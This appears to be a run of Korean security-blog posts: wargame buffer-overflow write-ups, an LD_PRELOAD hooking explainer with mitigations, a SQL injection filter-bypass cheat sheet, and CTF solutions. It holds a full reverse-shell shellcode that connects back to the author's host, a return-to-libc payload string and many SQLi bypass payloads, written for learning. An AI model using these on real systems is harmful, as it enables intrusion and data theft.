[Preview]


대망의 lob 복기 마지막 문제.. 이전에 풀 땐 귀찮아서 해당 문제를 스킵했었는데 왜 그랬었나 후회가 되는 시점입니다. 뭐 어쨌든 제겐 첫 remote exploit 문제였습니다. 지금까지 로컬에서만 문제를 풀어왔는데 remote로 하니 제한적인 부분이 많다는걸 느꼈습니다 ㅋㅋ.. 본래대로라면 리버스쉘코드 하나가지고 쉭쉭 익스해서 풀렸어야 하는데.. 제 내부망 ip대역이 192.168.0.* 대역이라 ip 주소를 넣는데 \x00이 들어가더군요.. 얘 땜에 쉘코드 고쳐서 만드느라 조금 고생했습니다 ㅋㅋㅋ 뭐 쨌든 시작합니다.


[Code & Analysis]


/* The Lord of the BOF : The Fellowship of the BOF - dark knight - remote BOF */ #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/wait.h> #include <dumpcode.h> main() { char buffer[40]; int server_fd, client_fd; struct sockaddr_in server_addr; struct sockaddr_in client_addr; int sin_size; if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){ perror("socket"); exit(1); } server_addr.sin_family = AF_INET; server_addr.sin_port = htons(6666); server_addr.sin_addr.s_addr = INADDR_ANY; bzero(&(server_addr.sin_zero), 8); if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){ perror("bind"); exit(1); } if(listen(server_fd, 10) == -1){ perror("listen"); exit(1); } while(1) { sin_size = sizeof(struct sockaddr_in); if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){ perror("accept"); continue; } if (!fork()){ send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0); send(client_fd, "You : ", 6, 0); recv(client_fd, buffer, 256, 0); close(client_fd); break; } close(client_fd); while(waitpid(-1,NULL,WNOHANG) > 0); } close(server_fd); }


뭐.. 코드가 긴데요. 대충 해석하자면 6666포트로 INADDR_ANY로 소켓 연 다음 fork()로 child process 생성해서 거기서 recv로 클라에서 받아온 값을 버퍼에 저장하는 코드입니다. 근데 버퍼는 40 바이트인데 recv를 256바이트 받아서 bof가 터진다는 직관적인 코드입니다. 일단 remote로 input값을 넣어야하고, child process에서 buffer에 값을 넣기 때문에 단순 쉘코드만 넣어선 그 결과를 볼 수가 없습니다. 때문에 리버스쉘을 통해 제 쉘과 연결하여 interactive하게 동작하게끔 해야하는 상황입니다.


[Exploit]


이미 제가 필요한 것은 누군가가 해 놓았습니다.


https://www.exploit-db.com/exploits/25497/


exploit-db에 2013년에 올라온 쉘코드인데요, 쉘코드에서 설정된 ip와 포트로 리버스쉘(/bin/sh)을 연결하는 쉘코드입니다.


근데 preview에서 말했듯이 제 ip는 192.168.0.* 대역이었습니다.



하... 쉘코드 중간에 보면 ip 주소를 넣는 부분이 있습니다.


804807f:       68 c0 a8 01 0a          push   0xa01a8c0


문제의 지점...ㅋㅋㅋ


쉘코드에 널바이트가 삽입되면 해당 부분까지만 쉘코드를 인식하기 때문에 정상적으로 익스플로잇 되지 않습니다. 때문에 해당 부분 쉘코드를 수정해서 삽입하기로 마음먹었습니다..!!!!!


일단 쉘코드부터 보면..


\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x66\xBA\x01\x86\x80\xEA\x01\xC1\xE2\x10\x66\x81\xC2\xC0\xA8\x52\x31\xD2\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80



1f부분부터 제가 변경한 쉘코드인데요. 간단히 설명하면 본래 제 ip를 hex로 변환하면 0xc0a80086 입니다만, 0xc0a80186에서 0x100을 빼서 널바이트를 제거하는 것이 목적이었습니다. 근데.. 제가 무지해서 그런지 이 부분에서 삽질을 좀 했습니다.


본래 코드는 'push 0xc0a80086' 이런식으로 진행됐었죠? 근데 저는 연산을 하기 위해 해당 쉘코드에서 사용하지 않는 레지스터 $edx를 이용하여 연산 후 push $edx로 argument를 세팅해 주었었습니다. 근데 아뿔싸... push 0xc0a80086 으로 넣으면 자동으로 메모리에 엔디안을 적용하여 삽입되는데, 레지스터의 값을 push 해주면 엔디안이 적용되지 않고 삽입이 되더군요.


이 내용을 몰라 왜 안되지? 하며 여러번 시도하다가 디버깅 후에 알게되었습니다.. 뭔가 이상하면 첨부터 디버깅을 합시다 흑흑


뭐 어쨌든 그래서 처음부터 엔디안을 적용하여 0x8600a8c0 을 세팅하고(4바이트 레지스터에 값을 넣으면 자동으로 널바이트가 삽입되어 dx, dl을 활용하고 쉬프트 연산을 통해 값을 세팅하였습니다) 이를 스택에 넣는것으로 쉘코드를 재구성하였습니다.




이제 리버스쉘코드도 완성되었고 남은것은 진짜 익스뿐이네요. 우리는 원격지의 바이너리를 디버깅할 수 없기 때문에 우리가 덮을 ret가 가리킬 쉘코드의 주소를 알 수 없습니다. 때문에 brute forcing을 통해 0xbfffffff부터 아래로 내려가며 ret값을 때려맞춰야 합니다.(아래로 내려가는 이유는.. 그게 더 빨리 찾을 수 있잖아요??)




익스플로잇은 pwntools 이용하여 했습니다.


[dummy(44byte)] [ret(brute forcing)] [nop_sled(44byte)] [shellcode]


이렇게 구성한 후 ret 값을 0xbfffffff부터 16바이트씩 내리면서 브루트포싱하였습니다. (1바이트씩 안내려도 놉슬레드타고 쉘코드가 실행되기 때문)




nc로 31337포트 열어놓고 익스플로잇 코드를 실행시키면..!


flag get!


'System > LOB (Lord of Bof)' 카테고리의 다른 글

lob 17->18 nightmare  (0) 2018.08.18

[Preview]


여전히 lob 복기중입니다 ㅋㅋㅋ 좀 오래걸린감이 있지만 요즘 공부를 손에 놓아서... 이번에 lob 복기를 하며 전에 풀었던 방법들이 다 기억이 나지 않아 아예 새로 풀고 있는데, 좀 특이하게(?) 이 문제를 푼것 같은 느낌이 들어 이 문제에 대해서 라업을 작성하려 합니다. 본래 더 쉽게 푸는 방법은 타 블로그에 많으니 해당 내용들 참고해주시기 바랍니다. 이렇게 풀다보니 어찌저찌 rtl을 연습하게 된 것 같네요 ㅋㅋ


[Code & Analysis]


/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>

main(int argc, char *argv[])
{
	char buffer[40];
	char *addr;

	if(argc < 2){
		printf("argv errorn");
		exit(0);
	}

	// check address
	addr = (char *)&strcpy;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with strcpy()n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
	printf("%sn", buffer);

	// dangerous waterfall
	memset(buffer+40+8, 'A', 4);
}


간단히 설명하자면 ebp+4 에 존재하는 ret값이 strcpy의 주소(0x8048410)와 일치하는 지 비교하여 일치하지 않으면 종료합니다. 그리고 ret 다음 4바이트, 즉 strcpy 이후에 반환될 ret2 영역을 'A'로 덮어 줍니다. 때문에 우리는 strcpy를 사용해야만 하는데 이 상황에서 strcpy 다음에 뛸 주소(strcpy의 ret addr)를 컨트롤하지 못하는 상황입니다.



[Exploit]


strcpy를 사용해야만 하는 것을 다시 잘 생각해보았습니다. strcpy는 2개의 인자(argument)를 받으며, strcpy가 동작하는 것은 정확히는 첫번째 인자의 주소가 가리키는 buffer에 두번째 인자의 주소가 가리키는 buffer를 덮어씌우는 것입니다.(\x00이 나올 때 까지) 그리고 우리는 ret주소를 strcpy의 plt를 가르키게 하여 메인함수가 종료된 후 strcpy를 실행하고 있습니다.


[SFP] [RET] [RET2] [arg1_strcpy] [arg2_strcpy]


정상적으로 strcpy를 실행시키기 위해선 위와같이 스택이 구성되어 있을 것입니다.

하지만 RET2 영역을 'AAAA'로 덮어 씌우고 있는것이 문제 상황입니다. 때문에 우리는 strcpy의 arg1에 ret2 주소를 넣고, arg2에 내가 ret2부터 넣고싶은 원하는 값이 들어있는 버퍼의 주소를 적어준다면, 우리는 AAAA로 덮어씌워진 ret2의 주소를 컨트롤할 수 있습니다.


하지만 인자가 2개 들어가있기 때문에 strcpy가 끝난 후 ppr 가젯을 실행 시켜야 우리가 원하는 system 함수를 통한 rtl을 할 수 있습니다.


[BUF] [SFP] [RET] [ppr_gadget] [RET2_addr] [shellcode_addr] [libc_system] [Dummy(RET3)] ["/bin/sh"_addr]


위와같이 익스플로잇 코드가 구성되면 우리가 원하는대로 쉘을 딸 수 있을 것입니다.


우선 ppr_gadget을 모으기 위해 libc 를 objdump하여 이 중 ppr을 찾습니다.



ppr 오프셋을 찾았으니 /proc/self/maps 에서 libc-base 주소를 알아냅니다



libc-base 주소에서 아까 구한 ppr의 오프셋을 더하면 ppr의 주소가 나옵니다. aslr이 안걸려있기 때문에 주소는 고정입니다.



  `python -c 'print "\xf6\x6f\x07\x40" + "G"*8 + "\xe0\x8a\x05\x40" + "HHHH" + "\x3d\xfc\xff\xbf" + "B"*20 

  + "\x10\x84\x04\x08" + "CCCC" + "\x90\xfa\xff\xbf" + "\x60\xfa\xff\xbf"'` 



[ret2(ppr_gadget_addr)] [dummy1(arg1)] [dummy2(arg2)] [libc-system()] [dummy3(ret3)] ["/bin/sh" addr] [buf(20)] [strcpy_plt(ret1)] [dummy0(ret2)] [dummy0_addr (ret2_addr)] [buf_addr(버퍼시작주소)]





주소를 정확히 찍어서 익스플로잇 코드를 작성하였기 때문에 똑같은 환경에서 실행하기 위해 링킹을 걸어 실행하였습니다.



'System > LOB (Lord of Bof)' 카테고리의 다른 글

lob 19->20 death_knight  (0) 2018.08.21

[작성 계기]

lob(lord of bof)를 복기하던 중 ld_preload로 참조하는 라이브러리 이름에 쉘코드를 담아 bof 취약점을 공격하는 문제가 있었습니다. 해당 문제에서의 조건은 ret 이후 스택영역을 모두 0으로 세팅하기 때문에 일반적으로 envp에 담겨있던 "LD_PRELOAD=[Library_name]"은 존재하지 않습니다...만 어딘가에(? 아직 어느부분인지 확실하지 않아 우선 '어딘가'로 표현하겠습니다. 알아낸 후 수정하겠습니다.) LD_PRELOAD에 담았던 라이브러리의 이름(경로)이 부분적으로 남아있는 것을 확인할 수 있었습니다.(그림1. 참조) 때문에 해당 찌꺼기(?)가 왜 존재하게 되었는지에 대한 궁금증으로 LD_PRELOAD와 이와 유사한 LD_LIBRARY_PATH에 대해 알아보았습니다.


[그림 1] 어딘가에(?) 존재하는 LD_PRELOAD로 선언된 라이브러리의 이름 찌꺼기(?)



[배경 지식]


# LD_PRELOAD

 - 공유 라이브러리의 라이브러리보다 먼저 LD_PRELOAD로 지정해준 라이브러리를 바라봄

 - 후킹할때 사용할 수 있다.

 - export LD_PRELOAD=[LibraryPath]

  * ex. export LD_PRELOAD=library_A.so

 - LD_PRELOAD로 선언 시 preprocess에서 libc.so와 같은 라이브러리 보다 먼저 LD_PRELOAD로 선언된 라이브러리를 바라봄

  + 만약 실행파일에서 printf를 사용하여 문구를 출력해주고 있다면 printf()라는 함수명을 똑같이 맞춰준 뒤 그 안에 내가 원하는 코드를 작성하면, printf를 공유 라이브러리에서 불러오기 전에 LD_PRELOAD로 선언된 라이브러리의 printf() 안의 내용을 먼저 실행한다.

  + 때문에 우리가 생각하는 'Hooking'이 가능하게 된다.

  ++ 다만 공유 라이브러리에서 불러오는 함수를 실행하는것을 '대체'하여 LD_PRELOAD 라이브러리를 실행하기 때문에 본래 함수는 실행되지 않는다.

  !!! 때문에 본래 함수의 인자값을 맞추어 해당 기능까지 실행되게 한다면 프로그램 실행 - '후킹기능' - '본래기능' ~... 과 같은 흐름으로 실행될 수 있다.



# LD_LIBRARY_PATH

 - 작성 예정...



[실습(?)]


  

  #include <stdio.h>


  int main(int argc, char* argv[]) {

      printf("Hello World");

      return 0;

  } 


[코드 1] test.c



  printf(char* a) {

      puts("Hooking!");

      puts(a);

  } 


[코드 2] hook.c


[코드 1]과 [코드 2]는 간단히 printf 를 해주는 test.c와 printf를 후킹하는 hook.c이다. test.c 에서 사용하는 printf 함수를 후킹하기 위해 hook.c에 printf로 똑같이 선언하였다.



  $ gcc -o test test.c


  $ gcc -fPIC -shared -o hook.so hook.c


  $ export LD_PRELOAD=./hook.so


[코드 3] 컴파일 및 LD_PRELOAD 세팅


[코드 3]은 test.c와 hook.c를 각각 실행파일과 공유 라이브러리로 컴파일하고 컴파일된 공유 라이브러리(hook.so)를 LD_PRELOAD 환경변수에 세팅해주는 명령어이다. 위와같이 실행 후 다음 [그림 2]와 같은 결과를 얻을 수 있다.



[그림 2] LD_PRELOAD 세팅 후 실행 결과




[대응방안(?)]


위와 같이 LD_PRELOAD 환경변수를 이용하여 로컬단에서 후킹하는 것을 막기 위한 방법은 없을까? 라는 의문이 들었다. 찾아본 결과 이를 해결하기 위한 방안으로 몇 가지가 있었고, 이에 대해 소개하려 한다.[각주:1]


1. setuid(setgid) 설정

  - LD_PRELOAD 환경변수는 자신이 권한을 가지지 않은 user의 파일에 대해선 적용되지 않는다. 허나 자신이 권한을 가지지 않은 user의 파일을 읽거나 실행시켜야 할 때가 있는데, 이 때 setuid를 설정한다. 파일의 소유 권한을 나눈 후 setuid를 설정해주면 LD_PRELOAD를 통한 후킹을 막을 수 있다.



[그림 3] root 권한, setuid가 걸린 바이너리 'gremlin'



[그림 4] setuid 바이너리 실행 결과



[그림 3]과 [그림 4]를 살펴보면 setuid가 걸린 바이너리를 실행하면 LD_PRELOAD로 세팅된 puts("hooked!"); 가 실행되지 않는 것을 살펴볼 수 있다.



2. LD_PRELOAD를 사용하지 않는 secure loader


  - off the shell tool을 사용하여 LD_PRELOAD를 사용하지 않는(ld를 대체하는) secure loader를 사용한다. 자세한 내용은 각주 참고.[각주:2]

   * 해당 방법을 사용하면 몇몇 앱은 동작하지 않을수도 있다



3. LD_PRELOAD를 사용하지 않는 libc 사용


  - LD_PRELOAD를 사용하지 않는 libc를 사용한다. musl libc[각주:3]가 해당 기능을 제공한다고 한다.



4. Sandbox 적용


  - LD_PRELOAD를 사용하여 후킹을 하더라도 해당 앱이 다른 프로세스를 제어하지 않게끔 Sandbox 기술을 적용한다.




[정리]


위와 같이 LD_PRELOAD 환경변수를 세팅하여 프로그램 실행을 후킹할 수 있는 방법과 이에 대한 대응방안에 대해 알아보았다. 현재는 간단한 후킹에 대한 실험만 해놓았지만 본래 목적이었던 'LD_PRELOAD에 세팅된 공유 라이브러리의 이름이 왜 남는가?'에 대한 질문은 아직 해소되지 않았다. 아는 멋진 분께 질문하여 해당 질문에 대한 답은 얻었지만 아직 내 눈으로 직접 확인하지 못하였기에 elf Loader에 대해 분석(?)을 진행 후 이에 대한 내용을 추후 다시 작성하려 한다.

  * 참고로 해당 질문에 대한 답은 elf 로더에서 LD_PRELOAD 환경변수를 참조할 때 스택을 사용하게 되는데, 이 때 해당 정보를 읽으며 스택에 세팅된 공유 라이브러리의 이름(경로)을 남긴 후 지우지 않아 찌꺼기(?)가 남게 되는 것이라고 한다.[각주:4]

  1. https://security.stackexchange.com/questions/63599/is-there-any-way-to-block-ld-preload-and-ld-library-path-on-linux [본문으로]
  2. http://hexhive.github.io/projects/#TRuE [본문으로]
  3. http://www.musl-libc.org/ [본문으로]
  4. Thx. to singi [본문으로]

지금까지 웹해킹 워게임을 풀면서 깨달은(?) 우회기법을 정리하려 합니다.

모두 수기로 기억나는대로 작성하다보니 빠진 부분도 있을 것 같습니다.

기억나는대로 추가해서 수정하겠습니다.



 - or, and

  : ||, &&


 - String Filtering (Ex. preg_match - admin 등)

  : admin -> 0x61646d696e, 0b0110000101100100011011010110100101101110, char(0x61, 0x64, 0x6d, 0x69, 0x6e)

   * char()의 경우 타 진법으로도 사용 가능


 - Blind SQL Injection 시 '='(Equal) Filtering

  : substr('abc',1,1)like('a'), if(strcmp(substr('abc',1,1),'a'),0,1), substr('abc',1,1)%20in('a')


 - substr filtering

  : right(left('abc',1),1), id>0x41444d4941 ('ADMIN'은 'ADMIA'보다 hex값이 크다)


 - ereg, eregi

  : 'admin' 필터링 시 'AdmIN' 등으로 우회 가능

  : 맨 앞에 %00을 삽입 시 뒤의 문자가 필터링 되지 않음


 - replace, replaceAll

  : 'admin' 필터링 시 'adadminmin' 등으로 우회 가능


 - numeric character filtering

  : 0 -> '!'='@'

  : 1 -> '!'='!' 등으로 true, false 및 수식을 이용하여 숫자를 표현 가능


 - White Space Filtering (%20)

  : %20 -> %0a %0b %0c %0d %09


 - Single Quote Filtering (%27)

  : Single Quote 안에서 Double quote를 쓰면 해결되는 경우도 있음

  : 특수한 조건에서 %bf%27 로 Multibyte를 만들어 필터링을 우회할 수도 있음 (하지만 거의 없는 경우)

  : '\' 백슬래시 문자가 필터링 되어있지 않은 경우 다음과 같은 상황에서 우회 가능

   ex. select test1 from test where id='\' and pw=' or 1#

     -> parameter : id=\&pw=%20or%201%23


 - 주석 

  : #, --, ;%00, /* */


 - 주석을 이용한 SQL Injection

  : '#'의 주석 범위는 1 line이다. 1 line을 나누는 기준은 %0a로 나뉘기 때문에 아래 예제와 같은 SQL Injection을 수행할 수 있다.

   * select test1 from test where id='abc'# and pw='%0a or id='admin'%23

  : /* */

   * select test1 from test where id='abc'/* and pw=''*/ or id='admin'%23


 - Blind SQL Injection 시 sub query의 결과로 여러 row가 나오는데 where 문을 쓸 수 없을 때

  : max(column_name), min(column_name), group_concat(column_name)


 - 테이블명, 컬럼명을 알아내야 할 때

  : select test1 from test where id='admin' and pw='1234' procedure analyse();

   * limit 2,1 등과 함께 사용하여 필요한 컬럼 명을 한 줄로 뽑아낼 수 있음


 - Error Based SQL Injection 할 때

  : 0xfffffffffffff*0xfffffffffffff 를 하면 Integer 범위 초과 에러가 발생한다


 - MultiByte Character SQL Injection

  : 'test1' 필드의 캐릭터가 아스키코드가 아닌 멀티바이트 캐릭터(ex. UTF-32 등)일 때는 다음과 같은 방법으로 SQL Injection을 수행할 수 있다.

   * substr(hex(test1),1,1)=0x41

    ※ MultiByte Character인지 알아보기 위한 방법으로는 '>'와 '<'를 이용하여 범위를 찾아나갈때 문자의 범위가 예를들어 20과 21사이로 나온다면(아스키 문자의 범위가 소숫점으로 나오는 경우는 없다) 멀티바이트 캐릭터라고 추측할 수 있다.


 - SQL Injection이 먹히는지 알아볼 때

  : '(싱글쿼터)를 썼을 때 에러가 나는지

  : ' and '1'='1    ,     ' and '1'='2  를 썼을 때 앞에건 정상적으로 출력되고 뒤에건 출력이 안나는지

  : ' or '1'='1 을 썼을 때 정상적으로 출력되는 지

  : 숫자로 이루어진 컬럼 (ex. idx=23001) 을 idx=23002-1 로 넣었을 때 정상적으로 출력 되는 지

  : '||' 를 썼을 때 정상적으로 출력되는 지 ( Restrict. DB가 Oracle이고 자료형이 Varchar로 선언되어 있을 때 )

  : 주석을 쓸때는 #(%23), -- (--%20), %0a



[Preview]

CTF 문제를 풀기 시작한 최근, 여러 분야의 문제들을 보고 있습니다. 이번에 도전해 본 분야는 PPC(Professional Programming Challenges)입니다. 문과출신의 저에게 약한 분야인 수학에 대한 내용이기에 지레 겁먹고 손대지 않았었지만 이번엔 왠지 할만하다는 느낌적인 느낌(?) 덕택에 도전하게 되었습니다. 포기하고 자려고 마음먹고 침대에 누운 순간 솔루션이 생각나서 그대로 밤을 샜던 좋은 경험(?)을 할 수 있었습니다 ㅋㅋ..


[Summary]

이번 문제는 엄청 큰 수 n보다 작으며 x**y를 만족하는 n에 가장 가까운 수 'r'을 찾아내는 문제였습니다. 문제풀이의 핵심은 시간 내에 효율적으로 계산이 되게끔 코드를 구성할 수 있는가 입니다. 저는 3가지 방법을 써서 코드의 효율성을 높일 수 있었습니다.

 

 1. n에 가장 가까운 2**y 에서 y를 구함

 2. [1]번에서 구한 y값을 줄여나가며 'n - (x**y) < 0' 을 처음으로 만족하는 x값을 구함

 3. [2]번에서 구한 'n - ((x-1)**y)' 값이 이전에 구한 최소값보다 작은지 비교

 4. [2]번의 조건을 만족하기 위한 x의 증가폭을 처음에 크게 설정 후 증가폭을 조절

 5. 수의 크기에 따라서 y가 2가 되는 순간까지 x값을 구하지 않고 중간에 포기하도록 함


어찌보면 난잡할 수도 있지만 로그와 극한도 잘 모르는 저는 여러가지 시행착오 끝에 위와 같은 솔루션을 구할 수 있었습니다.


[Code]

import socket import hashlib #read data - get hash_num def read_hash(): data="" data2="" while "[-6:] = " not in data: data += s.recv(1) data2=s.recv(6) #hash_num print data+data2 return data2 #PoW def do_PoW(hash_num): pow_result="" print ("[*] I'm doing PoW...") for i in xrange(1000000000): if hash_num in str(hashlib.sha256(str(i)).hexdigest())[-6:]: pow_result=str(i) break print "[!] pow result = %s" % pow_result s.send(pow_result+"\n") #read data - get big number data1=recvuntil("n = ") data2=recvuntil("To") data3=recvuntil(":)") s.recv(1) print data1+data2+data3 return data2 #get y on 2**y def get_num_x_2(a): for i in range(100, 1000000): if (a-(2**i)<0): print ("[*] start y - %s" % str(i-1)) return i-1 #get x by decreasing y(get_num_x_2(a)) def get_num_y_2(num, num_cnt): x=3 y=num yt=0 tmp=a cnt=num_cnt tmp2=0 while(1): if(a-(x**y)<0): #give-up point if(num>3000): if(y<17): print ("[*] Gotya! %s" % str(tmp)) return str(tmp) elif(num>2000): if(y<15): print ("[*] Gotya! %s" % str(tmp)) return str(tmp) elif(num>1000): if(y<11): print ("[*] Gotya! %s" % str(tmp)) return str(tmp) elif(num>700): if(y<8): print ("[*] Gotya! %s" % str(tmp)) return str(tmp) else: if(y==2): print ("[*] Gotya! %s" % str(tmp)) return str(tmp) #is smaller r? if(a-((x-1)**y)<tmp): #set increasing range of x if(y<=190 and cnt!=1): x-=cnt cnt = cnt/2 continue tmp=a-((x-1)**y) y-=1 yt=y cnt=num_cnt else: y-=1 yt=y cnt=num_cnt else: #set increasing range of x if(y>190): x+=1 elif(y<=190): x+=cnt #check clear def isNext(): dt="" dt+=recvuntil("\x0a") if "next stage" in dt: data1=recvuntil("n = ") data2=recvuntil("To") data3=recvuntil(":)") s.recv(1) print data1+data2+data3 return data2 else: print dt while 1: print recvuntil("\x0a") #custom recvuntil def recvuntil(str): data="" while str not in data: data += s.recv(1) return data ######main###### num_y=0 num_cnt=2**250 s = socket.socket() ip = '37.139.22.174' port = 11740 s.connect((ip,port)) #pow a=do_PoW(read_hash()) a=a[0:len(a)-3] a=long(a) #get r while(1): num_y = get_num_x_2(a) result = get_num_y_2(num_y, num_cnt) print ("[!] r=\'%s\'" % str(result)) s.send(result+"\n") a=isNext() a=a[0:len(a)-3] a=long(a)

[그림 1] 문제 풀이 코드(Python)



 

[그림 2] 솔루션 실행 화면
















var net = require('net');

flag='fake_flag';

var server = net.createServer(function(socket) {
    socket.on('data', (data) => { 
        //m = data.toString().replace(/[\n\r]*$/, '');
        ok = true;
        arr = data.toString().split(' ');
        arr = arr.map(Number);
        if (arr.length != 5) 
            ok = false;
        arr1 = arr.slice(0);
        arr1.sort();
        for (var i=0; i<4; i++)
            if (arr1[i+1] == arr1[i] || arr[i] < 0 || arr1[i+1] > 127)
                ok = false;
        arr2 = []
        for (var i=0; i<4; i++)
            arr2.push(arr1[i] + arr1[i+1]);
        val = 0;
        for (var i=0; i<4; i++)
            val = val * 0x100 + arr2[i];
        if (val != 0x23332333)
            ok = false;
        if (ok)
            socket.write(flag+'\n');
        else
            socket.write('nope\n');
    });
    //socket.write('Echo server\r\n');
    //socket.pipe(socket);
});

HOST = '0.0.0.0'
PORT = 23333

server.listen(PORT, HOST);

[그림1] 문제 전체 소스코드



[그림1] 문제의 전체 소스코드를 살펴보면 var형 변수를 쓰는 것과 nodejs에서의 TCP 소켓을 구현하는 방식임을 보고 미루어 보았을 때 nodejs로 구현된 TCP 소켓 서버임을 알 수 있다. 유저가 보낸 data를 받아와 ' '(공백)을 기준으로 split 한 후 배열에 넣어 여러 검증과정과 처리과정을 거친 후 나오는 결과값이 '0x23332333' 인지 확인한 후 맞다면 플래그를 띄운다.



        arr = data.toString().split(' ');
        arr = arr.map(Number);
        if (arr.length != 5) 
            ok = false;
        arr1 = arr.slice(0);
        arr1.sort();

[그림2] 데이터 초기 처리과정




[그림3] Javascript 에서의 split(), map(), slice(), sort() 동작 과정


[그림2]의 초기 데이터 처리과정은 [그림3]과 같이 진행된다. 여기서 주의해야 할 점은 유저의 데이터가 ' data.toString().split(' ') ' 을 통해 'String' 으로 형변환이 되며 arr 배열로 들어가기 때문에 뒤의 ' arr1.sort() ' 코드에서 정렬할 때 'int' 형이 아닌 'string' 형으로 정렬이 된다. 이 말은 곧, 숫자의 크기와 상관 없이 맨 앞글자부터 크기를 비교하기 때문에, [그림3]과 같이 [8, 21, 4, 57, 6]이 배열에 들어갔다면 [21, 4, 57, 6, 8]로 정렬이 되는 것이다. 저는 이걸 헷갈려서 한참을 헤맸다는...



if (arr.length != 5) ok = false; ... for (var i=0; i<4; i++) if (arr1[i+1] == arr1[i] || arr[i] < 0 || arr1[i+1] > 127) ok = false;

[그림4] 유저의 input data 검증 과정


이후 [그림4]와 같이 배열의 크기가 5가 아니면 ok 플래그 변수에 false를 넣고(유저의 인풋값이 스페이스를 기준으로 나누어 5개의 값만을 넣어야 한다), 인풋값 중 같은 값이 있는 지, 혹은 0보다 작거나 127보다 큰 수가 있는 지를 검사한다(sort() 이후 검증을 하기 때문에 arr1[i+1]==arr1[i] 만으로도 같은 값이 있는 지 검사할 수 있다).



        arr2 = []
        for (var i=0; i<4; i++)
            arr2.push(arr1[i] + arr1[i+1]);
        val = 0;
        for (var i=0; i<4; i++)
            val = val * 0x100 + arr2[i];
        if (val != 0x23332333)
            ok = false;
        if (ok)
            socket.write(flag+'\n');
        else
            socket.write('nope\n');

[그림5] 데이터 처리 및 계산, 인증 과정


검증 후 arr2 배열을 새로 만들어 arr2에 arr1의 원소를 앞에서부터 두개씩 더하여 넣는다(총 4개의 원소 발생). 이 arr2 배열에 초기값이 0인 상태로 0x100씩 곱하여 원소를 더하고 이를 다시 이용하고 반복하며 이 과정이 끝났을 때 '0x23332333' 이 맞는 지 검사하고 맞다면 플래그를 띄워준다.




for a in range(0, 124): for b in range(a+1, 125): for c in range(b+1, 126): for d in range(c+1, 127): for e in range(d+1, 128): arr1 = [] arr1.append(str(a)) arr1.append(str(b)) arr1.append(str(c)) arr1.append(str(d)) arr1.append(str(e)) arr1.sort() arr2 =[] arr2.append(str(int(arr1[0])+int(arr1[1]))) arr2.append(str(int(arr1[1])+int(arr1[2]))) arr2.append(str(int(arr1[2])+int(arr1[3]))) arr2.append(str(int(arr1[3])+int(arr1[4]))) val = 0 for x in range (0, 4): val = val * 0x100 + int(arr2[x]) if(val==590553907): break if(val==590553907): break if(val==590553907): break if(val==590553907): break if(val==590553907): break else: print ("[%s] I'm doing.." % str(a+1)) print ("[*] I Found It!!!") print (a, b, c, d, e) print (arr2) print (val)

[그림6] 문제 조건에 부합하는 배열을 찾기 위한 Python 스크립트



문제 코드에서 나타난 과정을 Python으로 똑같이 구현하여 조건에 부합하는 배열을 찾아낸다. 같은 수가 나오면 안되므로 맨 뒤부터 순차적으로 숫자를 증가시키며 값을 찾아낸다.



[그림7] Python 스크립트 실행 결과




[그림8] 인증 결과


Flag Get!!!

+ Recent posts